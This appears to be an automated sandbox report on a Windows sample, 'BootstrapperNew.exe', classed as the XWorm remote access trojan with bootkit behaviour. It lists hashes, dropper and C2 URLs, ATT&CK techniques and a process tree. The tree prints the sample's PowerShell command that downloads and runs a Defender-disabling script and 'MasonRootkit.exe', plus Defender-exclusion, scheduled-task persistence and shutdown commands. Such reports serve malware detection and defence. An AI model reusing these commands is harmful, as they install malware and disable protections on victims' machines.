Overview

overview

10

Static

static

3

BootstrapperNew.exe

windows10-2004-x64

Analysis

  • max time kernel
    182s
  • max time network
    182s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/03/2025, 19:20

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    BootstrapperNew.exe

  • Size

    2.9MB

  • MD5

    31052a03930f6c98a18d6f2454f153cc

  • SHA1

    349a9571c3e531a00d44b298cf144983e07e4e97

  • SHA256

    285e4e396d7884c830c47d82fff67ae10250698862dd8a1dccd2d3e6f96908a6

  • SHA512

    0f86ddb2b2eae5d2d2c78ba4700f411650b83b7590477b25954aa829afdb85d03e6d7915630e1817601ef70493ed1d6024ef95bdd95ed8b501f3102120c5e925

  • SSDEEP

    49152:HVnCHjmzFQhpY8YbpmCgk65CS+wZ8i0aDsvjZGNGEB/C6pFah5vH3NiMSVHIQGW:HVCDoq3sQNkgCSL0a47Z0/Ck+v9BS6QV

Score
10/10
xwormbootkitdefense_evasiondiscoveryexecutionpersistencerattrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes
  • Install_directory

    %port%

  • install_file

    svchost.exe

  • pastebin_url

    https://pastebin.com/raw/J42c6s7r

Signatures

  • Detect Xworm Payload 6 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

    defense_evasion
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 12 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 37 IoCs
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
    • Modifies data under HKEY_USERS
    PID:612
    • C:\Windows\system32\dwm.exe
      "dwm.exe"
      2⤵
        PID:64
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{a661c43c-8ff7-4efe-a408-7124c7c5ffe4}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2772
      • C:\Windows\system32\LogonUI.exe
        "LogonUI.exe" /flags:0x4 /state0:0xa38ed855 /state1:0x41c64e6d
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        PID:4068
    • C:\Windows\system32\lsass.exe
      C:\Windows\system32\lsass.exe
      1⤵
        PID:668
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:960
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:388
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:956
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
              1⤵
              • Drops file in System32 directory
              • Drops file in Windows directory
              • Suspicious use of UnmapMainImage
              PID:1088
              • C:\Windows\system32\taskhostw.exe
                taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                2⤵
                  PID:3100
                • C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
                  "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:3492
                • C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
                  "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:5832
                • C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
                  "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:4020
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1096
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1104
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                    1⤵
                      PID:1116
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                      1⤵
                        PID:1252
                        • C:\Windows\system32\sihost.exe
                          sihost.exe
                          2⤵
                            PID:3052
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                          1⤵
                            PID:1260
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                            1⤵
                            • Indicator Removal: Clear Windows Event Logs
                            PID:1296
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                            1⤵
                              PID:1428
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                              1⤵
                                PID:1452
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                1⤵
                                  PID:1464
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                  1⤵
                                    PID:1548
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                    1⤵
                                      PID:1580
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                      1⤵
                                        PID:1624
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                        1⤵
                                          PID:1664
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                          1⤵
                                          • Modifies Internet Explorer settings
                                          PID:1732
                                          • C:\Windows\system32\AUDIODG.EXE
                                            C:\Windows\system32\AUDIODG.EXE 0x518 0x498
                                            2⤵
                                              PID:4812
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                            1⤵
                                              PID:1756
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                              1⤵
                                                PID:1860
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                1⤵
                                                  PID:1868
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1876
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                    1⤵
                                                      PID:1948
                                                    • C:\Windows\System32\spoolsv.exe
                                                      C:\Windows\System32\spoolsv.exe
                                                      1⤵
                                                        PID:1676
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                        1⤵
                                                          PID:2080
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                          1⤵
                                                            PID:2220
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                            1⤵
                                                              PID:2228
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                              1⤵
                                                                PID:2348
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                1⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2368
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                1⤵
                                                                • Drops file in System32 directory
                                                                PID:2432
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                1⤵
                                                                  PID:2452
                                                                • C:\Windows\sysmon.exe
                                                                  C:\Windows\sysmon.exe
                                                                  1⤵
                                                                    PID:2504
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                    1⤵
                                                                      PID:2516
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                      1⤵
                                                                        PID:2544
                                                                      • C:\Windows\system32\wbem\unsecapp.exe
                                                                        C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                        1⤵
                                                                          PID:2864
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                          1⤵
                                                                            PID:2632
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                            1⤵
                                                                              PID:3160
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                              1⤵
                                                                                PID:3316
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                • Modifies registry class
                                                                                • Suspicious behavior: GetForegroundWindowSpam
                                                                                • Suspicious use of FindShellTrayWindow
                                                                                • Suspicious use of SendNotifyMessage
                                                                                • Suspicious use of UnmapMainImage
                                                                                PID:3428
                                                                                • C:\Users\Admin\AppData\Local\Temp\BootstrapperNew.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\BootstrapperNew.exe"
                                                                                  2⤵
                                                                                  • Checks computer location settings
                                                                                  • Drops file in Windows directory
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:3084
                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAYwByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHQAcgBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGcAaAB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAbgBrACMAPgA="
                                                                                    3⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:4076
                                                                                  • C:\Windows\Credential Guard & VBS Key Isolation.exe
                                                                                    "C:\Windows\Credential Guard & VBS Key Isolation.exe"
                                                                                    3⤵
                                                                                    • Checks computer location settings
                                                                                    • Executes dropped EXE
                                                                                    • Adds Run key to start application
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:3264
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
                                                                                      4⤵
                                                                                      • Blocklisted process makes network request
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Downloads MZ/PE file
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:4396
                                                                                      • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"
                                                                                        5⤵
                                                                                        • Checks computer location settings
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:3660
                                                                                        • C:\ProgramData\MasonRootkit.exe
                                                                                          "C:\ProgramData\MasonRootkit.exe"
                                                                                          6⤵
                                                                                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious use of SetThreadContext
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:5104
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB2D5.tmp.bat""
                                                                                          6⤵
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:4056
                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            7⤵
                                                                                              PID:2804
                                                                                            • C:\Windows\system32\timeout.exe
                                                                                              timeout 3
                                                                                              7⤵
                                                                                              • Delays execution with timeout.exe
                                                                                              PID:3112
                                                                                      • C:\Windows\System32\schtasks.exe
                                                                                        "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Credential Guard & VBS Key Isolation" /tr "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                                                                                        4⤵
                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                        PID:3864
                                                                                      • C:\Users\Admin\AppData\Local\Temp\Knuckles.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\Knuckles.exe"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        • Writes to the Master Boot Record (MBR)
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:5468
                                                                                      • C:\Windows\SYSTEM32\shutdown.exe
                                                                                        shutdown.exe /f /s /t 0
                                                                                        4⤵
                                                                                          PID:5528
                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            5⤵
                                                                                              PID:5560
                                                                                        • C:\Users\Admin\AppData\Local\BootstrapperNew (1).exe
                                                                                          "C:\Users\Admin\AppData\Local\BootstrapperNew (1).exe"
                                                                                          3⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:1560
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                      1⤵
                                                                                        PID:3564
                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                        C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                        1⤵
                                                                                          PID:3756
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                            PID:4008
                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                            1⤵
                                                                                            • Suspicious use of UnmapMainImage
                                                                                            PID:3868
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                            1⤵
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:4892
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                            1⤵
                                                                                              PID:1744
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                              1⤵
                                                                                                PID:3152
                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                                                1⤵
                                                                                                  PID:1320
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                  1⤵
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:1344
                                                                                                • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                  "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                  1⤵
                                                                                                  • Drops file in System32 directory
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:1692
                                                                                                • C:\Windows\system32\SppExtComObj.exe
                                                                                                  C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:1672
                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                    C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                    1⤵
                                                                                                      PID:3552
                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                      1⤵
                                                                                                        PID:4300
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                        1⤵
                                                                                                          PID:2444
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:2860
                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                            1⤵
                                                                                                            • Modifies registry class
                                                                                                            PID:4816
                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                            1⤵
                                                                                                              PID:3456
                                                                                                            • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                              C:\Windows\System32\WaaSMedicAgent.exe 7b1b130006730136452b63741b611e1c CtGJGVA75U2Od0s/tY/QVg.0.1.0.0.0
                                                                                                              1⤵
                                                                                                              • Sets service image path in registry
                                                                                                              PID:408
                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                2⤵
                                                                                                                  PID:3936
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                1⤵
                                                                                                                • Drops file in Windows directory
                                                                                                                PID:5044
                                                                                                              • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                1⤵
                                                                                                                • Checks BIOS information in registry
                                                                                                                • Checks SCSI registry key(s)
                                                                                                                • Enumerates system info in registry
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:1476
                                                                                                              • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                1⤵
                                                                                                                • Drops file in Windows directory
                                                                                                                PID:5992
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                1⤵
                                                                                                                  PID:4244
                                                                                                                • C:\Windows\System32\mousocoreworker.exe
                                                                                                                  C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                  1⤵
                                                                                                                  • Checks processor information in registry
                                                                                                                  • Enumerates system info in registry
                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                  PID:3964
                                                                                                                • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
                                                                                                                  1⤵
                                                                                                                    PID:3400
                                                                                                                  • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                    "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                    1⤵
                                                                                                                      PID:5876
                                                                                                                    • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                      C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                      1⤵
                                                                                                                        PID:1376
                                                                                                                      • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                        "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                        1⤵
                                                                                                                          PID:3004

                                                                                                                        Network

                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                        Reconnaissance

                                                                                                                        Resource Development

                                                                                                                        Initial Access

                                                                                                                        Execution

                                                                                                                        Command and Scripting Interpreter

                                                                                                                        1
                                                                                                                        T1059

                                                                                                                        PowerShell

                                                                                                                        1
                                                                                                                        T1059.001

                                                                                                                        Scheduled Task/Job

                                                                                                                        1
                                                                                                                        T1053

                                                                                                                        Scheduled Task

                                                                                                                        1
                                                                                                                        T1053.005

                                                                                                                        Persistence

                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                        2
                                                                                                                        T1547

                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                        2
                                                                                                                        T1547.001

                                                                                                                        Pre-OS Boot

                                                                                                                        1
                                                                                                                        T1542

                                                                                                                        Bootkit

                                                                                                                        1
                                                                                                                        T1542.003

                                                                                                                        Scheduled Task/Job

                                                                                                                        1
                                                                                                                        T1053

                                                                                                                        Scheduled Task

                                                                                                                        1
                                                                                                                        T1053.005

                                                                                                                        Privilege Escalation

                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                        2
                                                                                                                        T1547

                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                        2
                                                                                                                        T1547.001

                                                                                                                        Scheduled Task/Job

                                                                                                                        1
                                                                                                                        T1053

                                                                                                                        Scheduled Task

                                                                                                                        1
                                                                                                                        T1053.005

                                                                                                                        Defense Evasion

                                                                                                                        Indicator Removal

                                                                                                                        1
                                                                                                                        T1070

                                                                                                                        Clear Windows Event Logs

                                                                                                                        1
                                                                                                                        T1070.001

                                                                                                                        Modify Registry

                                                                                                                        3
                                                                                                                        T1112

                                                                                                                        Obfuscated Files or Information

                                                                                                                        1
                                                                                                                        T1027

                                                                                                                        Command Obfuscation

                                                                                                                        1
                                                                                                                        T1027.010

                                                                                                                        Pre-OS Boot

                                                                                                                        1
                                                                                                                        T1542

                                                                                                                        Bootkit

                                                                                                                        1
                                                                                                                        T1542.003

                                                                                                                        Credential Access

                                                                                                                        Discovery

                                                                                                                        Peripheral Device Discovery

                                                                                                                        1
                                                                                                                        T1120

                                                                                                                        Query Registry

                                                                                                                        6
                                                                                                                        T1012

                                                                                                                        System Information Discovery

                                                                                                                        6
                                                                                                                        T1082

                                                                                                                        System Location Discovery

                                                                                                                        1
                                                                                                                        T1614

                                                                                                                        System Language Discovery

                                                                                                                        1
                                                                                                                        T1614.001

                                                                                                                        Lateral Movement

                                                                                                                        Collection

                                                                                                                        Command and Control

                                                                                                                        Web Service

                                                                                                                        1
                                                                                                                        T1102

                                                                                                                        Exfiltration

                                                                                                                        Impact

                                                                                                                        Replay Monitor

                                                                                                                        Loading Replay Monitor...

                                                                                                                        Downloads

                                                                                                                        • C:\ProgramData\MasonRootkit.exe
                                                                                                                          Filesize

                                                                                                                          596KB

                                                                                                                          MD5

                                                                                                                          bb2fd6c1b233fd2f08a6a43ef860bcb6

                                                                                                                          SHA1

                                                                                                                          1cd9ea091bc0d7f907fcd8cf8c8b9d3187e6dc04

                                                                                                                          SHA256

                                                                                                                          8c4cddfb3723ecf013526733f93bd5f4408bc463c6a28ccb41b3fb63504ee9ce

                                                                                                                          SHA512

                                                                                                                          2ee649cf68e5121bd4ad3e51bdf0c71d773a8d0c67ce262356156b312221285bf62409ac2e2c5c5748adc31d3c94b24777f2918bdb9fcf488c61b0e2c6dc50b5

                                                                                                                          Download Submit

                                                                                                                        • C:\Users\Admin\AppData\Local\BootstrapperNew (1).exe
                                                                                                                          Filesize

                                                                                                                          2.9MB

                                                                                                                          MD5

                                                                                                                          f227cdfd423b3cc03bb69c49babf4da3

                                                                                                                          SHA1

                                                                                                                          3db5a97d9b0f2545e7ba97026af6c28512200441

                                                                                                                          SHA256

                                                                                                                          cb5d6c1ca0aa6232a2d55e14b20ac4a9945a0bd063c57d60a5ed3ae94160e3e8

                                                                                                                          SHA512

                                                                                                                          b10afd03b02a928545c16fad39a6ae46b68b1e1a2477a6990803ce80008e7161fb2ebc9380ba15a1b074bb436aa34bcd6c94a922933d438b1c22489717e1e10e

                                                                                                                          Download Submit

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Credential Guard & VBS Key Isolation.exe.log
                                                                                                                          Filesize

                                                                                                                          654B

                                                                                                                          MD5

                                                                                                                          2ff39f6c7249774be85fd60a8f9a245e

                                                                                                                          SHA1

                                                                                                                          684ff36b31aedc1e587c8496c02722c6698c1c4e

                                                                                                                          SHA256

                                                                                                                          e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

                                                                                                                          SHA512

                                                                                                                          1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

                                                                                                                          Download Submit

